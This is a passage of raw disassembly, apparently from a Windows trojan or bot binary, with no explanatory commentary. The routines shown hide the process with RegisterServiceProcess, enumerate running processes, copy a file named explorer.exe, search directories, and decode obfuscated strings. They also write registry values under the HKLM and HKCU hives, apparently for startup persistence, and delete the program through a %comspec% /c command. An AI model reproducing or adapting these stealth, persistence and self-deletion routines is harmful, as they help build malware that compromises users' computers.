esp, 4 push ebx nop call near ptr 28304B8h pop ebx loc_40CDAE: ; CODE XREF: sub_40CBB0+36j mov ecx, [esp+280h+var_C] mov al, 1 pop esi mov large fs:0, ecx add esp, 27Ch retn 4 sub_40CBB0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40CE60 proc near ; CODE XREF: sub_40198Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40CE60 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+4] call sub_401424 lea ecx, [esi+19h] mov [esp+14h+var_4], 0 call sub_401424 lea ecx, [esi+2Eh] mov byte ptr [esp+14h+var_4], 1 call sub_401424 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_40CE60 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40CEE0: ; CODE XREF: ___:loc_40226Bj push 0FFFFFFFFh push offset loc_438D86 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+4], esi lea ecx, [esi+2Eh] mov dword ptr [esp+10h], 1 call sub_401226 lea ecx, [esi+19h] mov byte ptr [esp+10h], 0 call sub_401226 lea ecx, [esi+4] mov dword ptr [esp+10h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40CF60 proc near ; CODE XREF: sub_402257j var_548 = byte ptr -548h var_51C = byte ptr -51Ch var_51B = byte ptr -51Bh var_408 = byte ptr -408h var_304 = byte ptr -304h var_200 = byte ptr -200h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h arg_14 = dword ptr 18h sub esp, 548h lea eax, [esp+548h+var_408] push ebx push ebp push esi mov esi, [esp+554h+arg_10] push edi mov edi, dword_50FAD8 push esi push offset aS_2 ; "%s\\*" push 104h push eax call edi ; _snprintf add esp, 10h lea ecx, [esp+558h+var_548] lea edx, [esp+558h+var_408] push ecx push edx nop call near ptr 2880000h mov ebp, [esp+558h+arg_14] mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40D027 loc_40CFB0: ; CODE XREF: sub_40CF60+C5j test [esp+558h+var_548], 10h jz short loc_40D017 cmp [esp+558h+var_51C], 2Eh jnz short loc_40CFCA mov al, [esp+558h+var_51B] test al, al jz short loc_40D017 cmp al, 2Eh jz short loc_40D017 loc_40CFCA: ; CODE XREF: sub_40CF60+5Cj lea eax, [esp+558h+var_51C] lea ecx, [esp+558h+var_304] push eax push esi push offset dword_443684 push 104h push ecx call edi ; _snprintf mov eax, [esp+56Ch+arg_C] mov ecx, [esp+56Ch+arg_8] lea edx, [esp+56Ch+var_304] push ebp push edx mov edx, [esp+574h+arg_4] push eax mov eax, [esp+578h+arg_0] push ecx push edx push eax call sub_402257 add esp, 2Ch mov ebp, eax loc_40D017: ; CODE XREF: sub_40CF60+55j ; sub_40CF60+64j ... lea ecx, [esp+558h+var_548] push ecx push ebx nop call near ptr 2870000h test eax, eax jnz short loc_40CFB0 loc_40D027: ; CODE XREF: sub_40CF60+4Ej push ebx call near ptr 2860376h nop mov edx, [esp+558h+arg_C] lea eax, [esp+558h+var_408] push edx push esi push offset dword_443684 push 104h push eax call edi ; _snprintf add esp, 14h lea ecx, [esp+558h+var_548] lea edx, [esp+558h+var_408] push ecx push edx call near ptr 2880000h nop mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40D0BB loc_40D068: ; CODE XREF: sub_40CF60+159j lea eax, [esp+558h+var_51C] lea ecx, [esp+558h+var_200] push eax push esi push offset aFoundSS ; "Found: %s\\%s" push 200h push ecx inc ebp call edi ; _snprintf mov edx, [esp+56Ch+arg_8] mov ecx, [esp+56Ch+arg_4] lea eax, [esp+56Ch+var_200] push edx mov edx, [esp+570h+arg_0] push eax push ecx push edx call sub_401523 add esp, 24h lea eax, [esp+558h+var_548] push eax push ebx nop call near ptr 2870000h test eax, eax jnz short loc_40D068 loc_40D0BB: ; CODE XREF: sub_40CF60+106j push ebx call near ptr 2860376h nop pop edi mov eax, ebp pop esi pop ebp pop ebx add esp, 548h retn sub_40CF60 endp ; --------------------------------------------------------------------------- db 90h db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40D130 proc near ; CODE XREF: sub_40104Bj var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40D130 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 4 push 4 push 1 push 13h lea eax, [esp+58h+var_3C] push 1 mov esi, ecx push eax call sub_4019B5 add esp, 1Ch push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017E4 lea ecx, [esi+19h] push eax push ecx mov ecx, offset dword_447158 call sub_401591 sub_40D130 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Ch push 5 push 4 push 13h lea edx, [esp+1Ch] push 1 push edx call sub_4019B5 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017E4 push eax lea eax, [esi+47h] push eax mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 4 push 4 push 1 push 3 push 16h lea ecx, [esp+20h] push 13h push ecx call sub_4019B5 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017E4 lea edx, [esi+75h] push eax push edx mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Ch push 5 push 4 push 3 push 16h push 13h lea eax, [esp+3Ch] push eax call sub_4019B5 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017E4 add esi, 0A3h push eax push esi mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_40D2E0: ; CODE XREF: ___:004013CAj sub esp, 104h lea eax, [esp+0] push 104h push eax push 0 nop call near ptr 2890000h push eax nop call near ptr 288121Fh mov eax, dword_4470B0 test eax, eax jz loc_40D403 mov ecx, dword_4470AC test ecx, ecx jz loc_40D403 mov ecx, dword_446F78 test ecx, ecx jz loc_40D403 push 0 push 2 call eax ; CreateToolhelp32Snapshot cmp eax, 0FFFFFFFFh mov dword_4470A8, eax jz loc_40D403 push ebp push offset dword_446F80 push eax xor ebp, ebp mov dword_446F80, 128h call dword_4470AC ; Process32First test eax, eax jz loc_40D3EC push ebx mov ebx, [esp+110h] push esi mov esi, dword_50FAD4 push edi loc_40D36D: ; CODE XREF: ___:0040D3E7j mov edi, offset dword_446FA4 or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+10h] repne scasb not ecx dec ecx mov edi, offset dword_446FA4 push ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea edi, [esp+14h] sub edx, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx push offset dword_446FA4 add edx, ecx push edx call esi ; strncmp add esp, 0Ch test eax, eax jz short loc_40D3D3 mov edi, offset dword_446FA4 or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx push offset dword_446FA4 mov ecx, ebx call sub_401681 push eax call esi ; strncmp add esp, 0Ch test eax, eax jnz short loc_40D3D4 loc_40D3D3: ; CODE XREF: ___:0040D3ABj inc ebp loc_40D3D4: ; CODE XREF: ___:0040D3D1j mov eax, dword_4470A8 push offset dword_446F80 push eax call dword_446F78 ; Process32Next test eax, eax jnz short loc_40D36D pop edi pop esi pop ebx loc_40D3EC: ; CODE XREF: ___:0040D357j mov ecx, dword_4470A8 push ecx nop call near ptr 2840000h mov eax, ebp pop ebp add esp, 104h retn ; --------------------------------------------------------------------------- loc_40D403: ; CODE XREF: ___:0040D306j ; ___:0040D314j ... xor eax, eax add esp, 104h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_40D460: ; CODE XREF: ___:00401F91j sub esp, 11Ch lea eax, [esp+18h] push ebx push esi push edi push 104h push eax nop call near ptr 2890C63h mov edi, offset aExplorer_exe ; "\\explorer.exe" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+24h] repne scasb not ecx sub edi, ecx push eax mov esi, edi mov ebx, ecx mov edi, edx or ecx, 0FFFFFFFFh repne scasb mov ecx, ebx dec edi shr ecx, 2 rep movsd mov ecx, ebx push 80h and ecx, 3 push 3 push eax push 1 rep movsb mov edi, dword_50F8E8 lea eax, [esp+38h] push 80000000h push eax call edi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40D526 lea ecx, [esp+1Ch] lea edx, [esp+0Ch] push ecx lea eax, [esp+18h] push edx push eax push esi nop call near ptr 28908C2h mov ebx, dword_50F8D8 push esi call ebx mov ecx, [esp+12Ch] push 0 push 80h push 3 push 0 push 2 push 40000000h push ecx call edi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40D526 lea edx, [esp+1Ch] lea eax, [esp+0Ch] push edx lea ecx, [esp+18h] push eax push ecx push esi nop call near ptr 2890218h push esi call ebx loc_40D526: ; CODE XREF: ___:0040D4C9j ; ___:0040D50Bj pop edi pop esi pop ebx add esp, 11Ch retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40D580 proc near ; CODE XREF: sub_401B59j var_19C = byte ptr -19Ch var_184 = byte ptr -184h var_16C = byte ptr -16Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_40D580 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 190h push ebx push esi mov esi, ecx push edi lea ecx, [esp+1A8h+var_16C] call sub_401424 push 104h push 104h lea ecx, [esp+1B0h+var_16C] mov [esp+1B0h+var_4], 0 call sub_401C5D push eax nop call near ptr 27E0B0Ch lea ecx, [esp+1A8h+var_16C] call sub_4017E4 push eax lea ecx, [esi+4] call sub_4015D7 lea ecx, [esp+1A8h+var_184] call sub_401424 mov ebx, 1 push 104h push 104h lea ecx, [esp+1B0h+var_184] mov byte ptr [esp+1B0h+var_4], bl call sub_401C5D push eax push 0 nop call near ptr 2890000h push eax nop call near ptr 288121Fh push offset aKernel32_dll_0 ; "kernel32.dll" nop call near ptr 27D0782h mov esi, eax test esi, esi jz short loc_40D671 mov edi, dword_50F8A0 push offset aRegisterservic ; "RegisterServiceProcess" push esi call edi push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push esi mov dword_4470B4, eax call edi push offset aProcess32first ; "Process32First" push esi mov dword_4470B0, eax call edi push offset aProcess32next ; "Process32Next" push esi mov dword_4470AC, eax call edi mov dword_446F78, eax mov eax, dword_4470B4 test eax, eax jz short loc_40D671 push ebx push 0 call eax loc_40D671: ; CODE XREF: sub_40D580+A7j ; sub_40D580+EAj mov esi, [esp+1A8h+arg_0] push 0 mov ecx, esi call sub_4017E4 push eax lea ecx, [esp+1B0h+var_184] call sub_402117 test eax, eax jnz short loc_40D6A8 mov al, byte_44719F test al, al jz short loc_40D6A8 mov ecx, esi call sub_4017E4 push eax call sub_4015FA ; --------------------------------------------------------------------------- add esp, 4 loc_40D6A8: ; CODE XREF: sub_40D580+10Dj ; sub_40D580+116j push 0 push 5 push 18h push 5 push 4Eh push 46h push 47h push 12h push 10h push 10h push 0Eh push 9 lea eax, [esp+1D8h+var_19C] push 17h push eax call sub_4019B5 add esp, 38h mov ecx, eax mov byte ptr [esp+1A8h+var_4], 2 call sub_4017E4 push eax call sub_4015FA sub_40D580 endp ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 14h push 13h push 0Fh push 8 push 0Ch push 0Ch lea ecx, [esp+38h] push 4 push ecx call sub_4019B5 add esp, 34h mov ecx, eax mov byte ptr [esp+1A4h], 3 call sub_4017E4 push eax call sub_4015FA ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 4 push 10h push 14h push 6 lea edx, [esp+30h] push 14h push edx call sub_4019B5 add esp, 2Ch mov ecx, eax mov byte ptr [esp+1A4h], 4 call sub_4017E4 push eax call sub_4015FA ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 14h push 13h push ebx push 0Ch push 2 push 13h lea eax, [esp+38h] push 0Dh push eax call sub_4019B5 add esp, 34h mov ecx, eax mov byte ptr [esp+1A4h], 5 call sub_4017E4 push eax call sub_4015FA ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 46h push 47h push 13h push 9 push 0Eh push 5 lea ecx, [esp+38h] push 10h push ecx call sub_4019B5 add esp, 34h mov ecx, eax mov byte ptr [esp+1A4h], 6 call sub_4017E4 push eax call sub_4015FA ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 8 push 3 push 14h push ebx push 10h push 13h lea edx, [esp+38h] push 0Dh push edx call sub_4019B5 add esp, 34h mov ecx, eax mov byte ptr [esp+1A4h], 7 call sub_4017E4 push eax call sub_4015FA ; --------------------------------------------------------------------------- db 83h dd 4C8D04C4h, 9C880C24h, 1A424h, 39B4E800h, 448DFFFFh dd 6A3C24h, 244C8D50h, 3F85E82Ch, 0C085FFFFh, 116850Fh dd 8B550000h, 3F52E8CEh, 6A50FFFFh, 244C8D5Ch, 3F46E848h dd 8D50FFFFh, 0A8248Ch, 38680000h, 5100443Bh, 200E890h dd 3D8B001Eh, 50F8A4h, 0FF14C483h, 24948DD7h, 9Ch, 8D52006Ah dd 8B30244Ch, 3DAFE8E8h, 358BFFFFh, 50F90Ch, 85D6FF50h dd 0FF3075C0h, 3DC52BD7h, 61A8h, 0D0682573h, 90000007h dd 4229F0E8h, 24848D02h, 9Ch, 8D50006Ah, 0E830244Ch, 0FFFF3D79h dd 85D6FF50h, 0A0D074C0h, 4477FBh, 74C0845Dh, 0CC358B39h dd 680050FAh, 104h, 9C248C8Dh, 68000000h, 443B30h, 83D6FF51h dd 4C8D0CC4h, 4682424h, 0E8000001h, 0FFFF3EA0h, 9C24948Dh dd 50000000h, 83D6FF52h, 11B90CC4h, 33000000h, 247C8DC0h dd 24948D54h, 98h, 8966ABF3h, 842484h, 448D0000h, 4C8D0C24h dd 51505424h, 6A006Ah, 6A53286Ah, 52006A00h, 44C7006Ah dd 447C24h, 0E8900000h, 23E266Ch, 874C085h, 0E890006Ah dd 7782C4DEh, 24244C8Dh, 0A42484C6h, 1, 0FF3875E8h, 244C8DFFh dd 2484C73Ch, 1A4h, 0FFFFFFFFh, 0FF3861E8h, 248C8BFFh dd 19Ch, 5EC38A5Fh, 0D89645Bh, 0 ; --------------------------------------------------------------------------- add esp, 19Ch retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 120h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40DB10 proc near ; CODE XREF: sub_401195j mov al, byte_4471A1 test al, al jz short loc_40DB24 push offset word_4471A2 nop call near ptr 27E092Ah loc_40DB24: ; CODE XREF: sub_40DB10+7j mov al, 1 retn sub_40DB10 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40DB40 proc near ; CODE XREF: sub_401E5Bj var_6D0 = dword ptr -6D0h var_6CC = dword ptr -6CCh var_6C8 = dword ptr -6C8h var_6C4 = dword ptr -6C4h var_6C0 = dword ptr -6C0h var_6BC = dword ptr -6BCh var_6B8 = dword ptr -6B8h var_6B4 = dword ptr -6B4h var_6B0 = byte ptr -6B0h var_6AC = byte ptr -6ACh var_694 = byte ptr -694h var_67C = byte ptr -67Ch var_664 = byte ptr -664h var_64C = byte ptr -64Ch var_634 = byte ptr -634h var_61C = byte ptr -61Ch var_604 = byte ptr -604h var_5EC = byte ptr -5ECh var_5D4 = byte ptr -5D4h var_5BC = byte ptr -5BCh var_5A4 = byte ptr -5A4h var_58C = byte ptr -58Ch var_574 = byte ptr -574h var_564 = dword ptr -564h var_534 = word ptr -534h var_520 = byte ptr -520h var_41C = byte ptr -41Ch var_318 = byte ptr -318h var_214 = byte ptr -214h var_110 = byte ptr -110h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40DB40 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 6C4h push esi lea eax, [esp+6D4h+var_41C] push 104h push eax push 0 nop call near ptr 2890000h push eax nop call near ptr 288121Fh lea ecx, [esp+6D4h+var_318] push ecx push 104h call near ptr 27C0000h nop push 0 push 14h push 1 push 2 push 4Fh push 0Fh push 12h push 6 lea edx, [esp+6F4h+var_5EC] push 1 push edx call sub_4019B5 add esp, 28h mov ecx, eax mov [esp+6D4h+var_4], 0 call sub_4017E4 push eax lea eax, [esp+6D8h+var_318] push eax lea ecx, [esp+6DCh+var_520] push offset dword_443684 push ecx nop call sub_5EDAB2 add esp, 10h lea ecx, [esp+6D4h+var_5EC] mov [esp+6D4h+var_4], 0FFFFFFFFh call sub_401226 push 0 push 0 push 2 push 0 push 0 lea edx, [esp+6E8h+var_520] push 40000000h push edx call near ptr 2860000h nop mov esi, eax test esi, esi jbe loc_40E0A1 push ebx push ebp push edi lea ecx, [esp+6E0h+var_6AC] call sub_401424 push 0 push 14h push 1 push 2 lea eax, [esp+6F0h+var_604] push 4Fh push eax mov [esp+6F8h+var_4], 1 call sub_4019B5 add esp, 18h mov edi, eax push 0 push 39h push 10h push 0Dh push 5 push 14h push 39h push 4Eh push 0Ch push 5 lea ecx, [esp+708h+var_634] push 4 push ecx mov byte ptr [esp+710h+var_4], 2 call sub_4019B5 add esp, 30h mov ebp, eax push 0 push 14h push 1 push 2 lea edx, [esp+6F0h+var_664] push 4Fh push edx mov byte ptr [esp+6F8h+var_4], 3 call sub_4019B5 add esp, 18h mov ebx, eax push 0 push 39h push 10h push 0Dh push 5 push 14h push 39h push 4Eh push 20h push 52h push 4Eh push 0Ch push 5 lea eax, [esp+714h+var_67C] push 4 push eax mov byte ptr [esp+71Ch+var_4], 4 call sub_4019B5 add esp, 3Ch mov [esp+6E0h+var_6B4], eax push 0 push 5 push 0Eh push 0Fh push 4 lea ecx, [esp+6F4h+var_61C] push 53h push ecx mov byte ptr [esp+6FCh+var_4], 5 call sub_4019B5 add esp, 1Ch mov [esp+6E0h+var_6C8], eax push 0 push 14h push 12h push 1 push 14h push 13h push 4Eh push 0Fh push 14h push 0Fh lea edx, [esp+708h+var_5D4] push 7 push edx mov byte ptr [esp+710h+var_4], 6 call sub_4019B5 add esp, 30h mov [esp+6E0h+var_6B8], eax push 0 push 54h push 54h push 45h push 39h push 54h push 54h push 4Eh push 0Ch push 5 lea eax, [esp+708h+var_5A4] push 4 push eax mov byte ptr [esp+710h+var_4], 7 call sub_4019B5 add esp, 30h mov [esp+6E0h+var_6C0], eax push 0 push 54h push 54h push 45h push 39h push 54h push 54h push 4Eh push 20h push 52h push 4Eh push 0Ch push 5 lea ecx, [esp+714h+var_58C] push 4 push ecx mov byte ptr [esp+71Ch+var_4], 8 call sub_4019B5 add esp, 3Ch mov [esp+6E0h+var_6D0], eax push 0 push 5 push 0Eh push 0Fh push 4 push 4Eh push 0Fh push 14h push 0Fh push 7 push 4Eh push 54h push 54h push 45h push 39h push 54h push 54h push 4Eh push 14h push 13h push 9 mov byte ptr [esp+734h+var_4], 9 push 18h push 5 push 4Eh push 14h push 0Fh push 0Eh push 4Eh push 6 lea edx, [esp+754h+var_694] push 9 push edx call sub_4019B5 add esp, 7Ch mov [esp+6E0h+var_6CC], eax push 0 push 14h push 12h push 1 push 14h push 13h lea eax, [esp+6F8h+var_5BC] push 53h push eax mov byte ptr [esp+700h+var_4], 0Ah call sub_4019B5 add esp, 20h mov [esp+6E0h+var_6C4], eax push 0 push 6 push 6 push 0Fh push 4Eh push 0Fh push 8 push 3 push 5 lea ecx, [esp+704h+var_64C] push 56h push ecx mov byte ptr [esp+70Ch+var_4], 0Bh call sub_4019B5 add esp, 2Ch mov [esp+6E0h+var_6BC], eax mov ecx, edi mov byte ptr [esp+6E0h+var_4], 0Ch call sub_4017E4 push eax mov ecx, ebp call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 mov ecx, [esp+6E8h+var_6B4] push eax call sub_4017E4 mov ecx, [esp+6ECh+var_6C8] push eax call sub_4017E4 mov ecx, [esp+6F0h+var_6B8] push eax call sub_4017E4 mov ecx, [esp+6F4h+var_6C0] push eax call sub_4017E4 mov ecx, [esp+6F8h+var_6D0] push eax call sub_4017E4 mov ecx, [esp+6FCh+var_6CC] push eax call sub_4017E4 mov ecx, [esp+700h+var_6C4] push eax call sub_4017E4 mov ecx, [esp+704h+var_6BC] push eax call sub_4017E4 push eax push offset aSSSSSSSSSS ; "%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r%s\r\n%s\r%s\r\n" lea edx, [esp+710h+var_6AC] push edx call sub_40102D add esp, 34h lea ecx, [esp+6E0h+var_64C] mov byte ptr [esp+6E0h+var_4], 0Bh call sub_401226 lea ecx, [esp+6E0h+var_5BC] mov byte ptr [esp+6E0h+var_4], 0Ah call sub_401226 lea ecx, [esp+6E0h+var_694] mov byte ptr [esp+6E0h+var_4], 9 call sub_401226 lea ecx, [esp+6E0h+var_58C] mov byte ptr [esp+6E0h+var_4], 8 call sub_401226 lea ecx, [esp+6E0h+var_5A4] mov byte ptr [esp+6E0h+var_4], 7 call sub_401226 lea ecx, [esp+6E0h+var_5D4] mov byte ptr [esp+6E0h+var_4], 6 call sub_401226 lea ecx, [esp+6E0h+var_61C] mov byte ptr [esp+6E0h+var_4], 5 call sub_401226 lea ecx, [esp+6E0h+var_67C] mov byte ptr [esp+6E0h+var_4], 4 call sub_401226 lea ecx, [esp+6E0h+var_664] mov byte ptr [esp+6E0h+var_4], 3 call sub_401226 lea ecx, [esp+6E0h+var_634] mov byte ptr [esp+6E0h+var_4], 2 call sub_401226 lea ecx, [esp+6E0h+var_604] mov byte ptr [esp+6E0h+var_4], 1 call sub_401226 lea eax, [esp+6E0h+var_6B0] push 0 push eax push 69h lea ecx, [esp+6ECh+var_6AC] call sub_4017E4 push eax push esi nop call near ptr 27D0000h push esi nop call near ptr 2840000h mov ecx, 11h xor eax, eax lea edi, [esp+6E0h+var_564] push 104h rep stosd lea ecx, [esp+6E4h+var_41C] mov [esp+6E4h+var_564], 44h push ecx push eax mov [esp+6ECh+var_534], ax call near ptr 2890000h nop push eax nop call near ptr 288121Fh lea edx, [esp+6E0h+var_41C] lea eax, [esp+6E0h+var_520] push edx push eax lea ecx, [esp+6E8h+var_214] push offset aComspecCSS ; "%%comspec%% /c %s %s" push ecx nop call sub_5EDAB2 add esp, 10h lea edx, [esp+6E0h+var_110] lea eax, [esp+6E0h+var_214] push 104h push edx push eax nop call near ptr 2800000h lea ecx, [esp+6E0h+var_574] lea edx, [esp+6E0h+var_564] push ecx push edx push 0 push 0 push 28h push 1 push 0 lea eax, [esp+6FCh+var_110] push 0 push eax push 0 nop call near ptr 27F0000h lea ecx, [esp+6E0h+var_6AC] mov [esp+6E0h+var_4], 0FFFFFFFFh call sub_401226 pop edi pop ebp pop ebx mov al, 1 pop esi mov ecx, [esp+6D0h+var_C] mov large fs:0, ecx add esp, 6D0h retn ; --------------------------------------------------------------------------- loc_40E0A1: ; CODE XREF: sub_40DB40+D6j mov ecx, [esp+6D4h+var_C] mov al, 1 pop esi mov large fs:0, ecx add esp, 6D0h retn sub_40DB40 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 160h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40E220 proc near ; CODE XREF: sub_401726j var_70 = dword ptr -70h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_40E220 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 64h push ebx push ebp push esi push edi lea ecx, [esp+80h+var_54] call sub_401424 lea ecx, [esp+80h+var_6C] mov [esp+80h+var_4], 0 call sub_401424 lea ecx, [esp+80h+var_3C] mov byte ptr [esp+80h+var_4], 1 call sub_401424 push 0 push 5 push 3 push 0Eh push 29h push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea eax, [esp+144h+var_24] mov bl, 2 push 2Dh push eax mov byte ptr [esp+14Ch+var_4], bl call sub_4019B5 add esp, 0CCh push eax lea ecx, [esp+84h+var_6C] mov byte ptr [esp+84h+var_4], 3 call sub_40200E lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 push 0 push 13h push 5 push 3 push 9 push 16h push 12h push 5 push 2Dh push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea ecx, [esp+154h+var_24] push 2Dh push ecx call sub_4019B5 add esp, 0DCh push eax lea ecx, [esp+84h+var_3C] mov byte ptr [esp+84h+var_4], 4 call sub_40200E lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 push 0 push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea edx, [esp+134h+var_24] push 2Dh push edx call sub_4019B5 add esp, 0BCh push eax lea ecx, [esp+84h+var_54] mov byte ptr [esp+84h+var_4], 5 call sub_40200E lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_54] call sub_4017E4 mov ebp, dword_50F754 push eax push 80000002h call ebp mov esi, [esp+80h+arg_4] mov ecx, esi call sub_401681 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_401681 mov ebx, [esp+84h+arg_0] push eax push 1 push 0 mov ecx, ebx call sub_401681 mov ecx, [esp+90h+var_70] push eax push ecx nop call near ptr 2940000h mov edx, [esp+80h+var_70] push edx nop call near ptr 2900000h push 0 lea eax, [esp+84h+var_70] lea ecx, [esp+84h+var_6C] push eax push 0 push 0F003Fh push 0 push 0 push 0 call sub_4017E4 push eax push 80000002h call ebp mov ecx, esi call sub_401681 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_401681 push eax push 1 push 0 mov ecx, ebx call sub_401681 mov ecx, [esp+90h+var_70] push eax push ecx nop call near ptr 2940000h mov edx, [esp+80h+var_70] push edx call near ptr 2900000h nop lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_54] call sub_4017E4 push eax push 80000001h call ebp mov ecx, esi call sub_401681 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_401681 push eax push 1 push 0 mov ecx, ebx call sub_401681 mov ecx, [esp+90h+var_70] push eax push ecx call near ptr 2940000h nop mov edx, [esp+80h+var_70] push edx call near ptr 2900000h nop lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_4017E4 push eax push 80000001h call ebp mov ecx, esi call sub_401681 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_401681 push eax push 1 push 0 mov ecx, ebx call sub_401681 mov ecx, [esp+90h+var_70] push eax push ecx nop call near ptr 2940000h mov edx, [esp+80h+var_70] push edx call near ptr 2900000h nop lea eax, [esp+80h+var_70] push 0 push eax 